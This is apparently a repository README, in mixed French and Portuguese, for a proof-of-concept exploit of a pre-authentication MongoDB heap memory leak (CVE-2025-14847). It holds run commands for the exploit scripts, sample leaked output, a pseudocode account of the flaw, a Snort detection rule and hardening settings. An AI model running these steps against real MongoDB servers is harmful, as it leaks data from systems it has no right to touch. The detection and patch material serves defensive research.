
Exploit fonctionnel de preuve de concept pour CVE-2025-14847 (MongoBleed), une vulnérabilité de divulgation de mémoire tas avant authentification dans MongoDB. Inclut la détection automatisée de fuites mémoire, l'analyse de motifs et un environnement de laboratoire basé sur Docker pour des tests de sécurité et des recherches autorisés.
Preuve de Concept Complète pour CVE-2025-14847 (MongoBleed)
Testé : ✅ MongoDB 7.0.5 | 14.300+ Exploits Réussis | 4 UUIDs Fuités
Ce dépôt contient une Preuve de Concept (PoC) entièrement fonctionnelle pour la vulnérabilité CVE-2025-14847, connue sous le nom de MongoBleed, une faille critique de divulgation mémoire heap pré-authentification dans MongoDB.
En Décembre 2025, le jeu Rainbow Six Siege a subi une attaque massive qui a compromis ~50 000 comptes de joueurs. On soupçonne que des attaquants ont exploité cette vulnérabilité dans le MongoDB du backend pour fuiter :
R6S_SERVER_AUTH_*)TOURNAMENT_ADMIN, DEV_BUILD_WHITELIST)Cette PoC simule l'attaque avec des données réalistes de R6.
poc.py - Exploit principal avec analyse de motifslive_leaker.py - Balayage incrémental avancépopular_heap.py - Script pour remplir le heap avec des données cibles246434ed-759b-4ce9-bb9c-2f520a9919b8
980ab3a7-0230-4718-aa2d-fb28feafd7f5
1052a310-4cdc-492f-9890-465d76baba9b
f20debfa-298d-48e3-b3b9-9a0e037c0fbd
# Clone o repositório
git clone CVE-2025-14857-MongoBleed.git
cd MongoDBPoc
# Inicie o ambiente vulnerável
docker-compose up -d
# Aguarde inicialização (15-20s)
docker logs cve-2025-14847-lab | grep "R6 MASSIVE"
# 1. Popular heap com dados R6
python3 popular_heap.py 50
# 2. Verificar vulnerabilidade
python3 poc.py --target 127.0.0.1 --check
# 3. Explorar com live leaker (RECOMENDADO)
timeout 30 python3 live_leaker.py --host 127.0.0.1 --min 200 --max 3000 --save results.json
[!] MongoBleed Live Leaker Avançado
[!] Alvo: 127.0.0.1:27017
[!] Faixa: doc_len 200 → 3000 (offset=500)
[*] Progresso: doc_len=245/3000 | Tentativas=100 | Taxa sucesso=100.0%
[!] PADRÕES R6 DETECTADOS (doc_len=245):
[UUID] 1 novo(s):
└─ 246434ed-759b-4ce9-bb9c-2f520a9919b8
MongoDB permet la compression des messages via zlib. La vulnérabilité réside dans la validation inadéquate de la taille déclarée par rapport à la taille réelle :
Atacante → {compress: "zlib", uncompressedSize: 1MB, payload: <50 bytes>}
↓
Servidor aloca 1MB de heap ← VULNERABILIDADE
↓
Servidor descomprime apenas 50 bytes
↓
Servidor retorna 1MB inteiro!
└─ 50 bytes = dados reais
└─ ~1MB - 50 = VAZAMENTO DE MEMÓRIA
// ANTES DO PATCH
size_t uncompressedSize = header.uncompressedSize; // ← Controlado pelo atacante
buffer = malloc(uncompressedSize); // ← Aloca tamanho malicioso
zlib_decompress(compressed, buffer);
send(buffer, uncompressedSize); // ← VAZA BUFFER INTEIRO
MongoDBPoc/
├── poc.py # Exploit principal
├── live_leaker.py # Varredura incremental (✨ Recomendado)
├── popular_heap.py # Script de carga
├── docker-compose.yml # MongoDB 7.0.5 vulnerável
├── init-db.js # 1000 players + 500 sessions R6
├── GUIA_TECNICO_COMPLETO.md # Documentação detalhada (200+ páginas)
├── README.MD # Documentação em inglês
└── Portugues/ # Versões traduzidas
├── poc_PT.py
├── README_PT.md
└── GUIA_RAPIDO.md
alert tcp any any -> any 27017 (
msg:"CVE-2025-14847 MongoBleed Attempt";
content:"|d4 07 00 00|";
byte_test:4,>,1000000,4,little;
sid:2025001;
)
net:
bindIp: 127.0.0.1 # NUNCA 0.0.0.0!
compression:
compressors: [] # Desabilitar zlib
security:
authorization: enabled
GUIA_TECNICO_COMPLETO.md - Analyse technique complète (200+ pages)
README.MD - Documentation principale (anglais)
Portugues/ - Versions traduites
CET OUTIL EST UNIQUEMENT DESTINÉ À DES TESTS AUTORISÉS ET À L'ÉDUCATION.
Toute utilisation non autorisée est ILLÉGALE et peut entraîner :
- Des poursuites pénales (Loi 12.737/2012 au Brésil)
- De lourdes amendes
- Une peine d'emprisonnement
Obtenez toujours une AUTORISATION ÉCRITE avant de tester.
Auteur : Ermenson Jr
Licence : MIT (Usage Éducatif)
Date : Janvier 2026
Pour des questions techniques ou une collaboration en recherche en sécurité :
Développé pour la recherche en sécurité offensive responsable.
Non affilié à Ubisoft, MongoDB Inc., ou Rainbow Six Siege.
🔒 Utilisez-le de manière responsable. La sécurité est pour tous. 🔒
| Métrique | Résultat |
|---|
| MongoDB Testé | 7.0.5 (Vulnérable) |
| Taux de Succès | 100% (14 300/14 300 requêtes) |
| UUIDs Fuités | 4 uniques |
| Fuite Totale | 33 chaînes distinctes |
| Plus Grande Fuite | 176 octets/requête |
| Motifs Détectés | Journaux réseau, UUIDs, chemins système |
| Série MongoDB | Versions Vulnérables | Version Corrigée |
|---|
| 8.2.x | 8.2.0 – 8.2.2 | 8.2.3 |
| 8.0.x | 8.0.0 – 8.0.16 | 8.0.17 |
| 7.0.x | 7.0.0 – 7.0.27 | 7.0.28 |
| 6.0.x | 6.0.0 – 6.0.26 | 6.0.27 |
| 5.0.x | 5.0.0 – 5.0.31 | 5.0.32 |
| 4.4.x | 4.4.0 – 4.4.29 | 4.4.30 |
| ≤ 4.2 | Toutes | Sans patch (EOL) |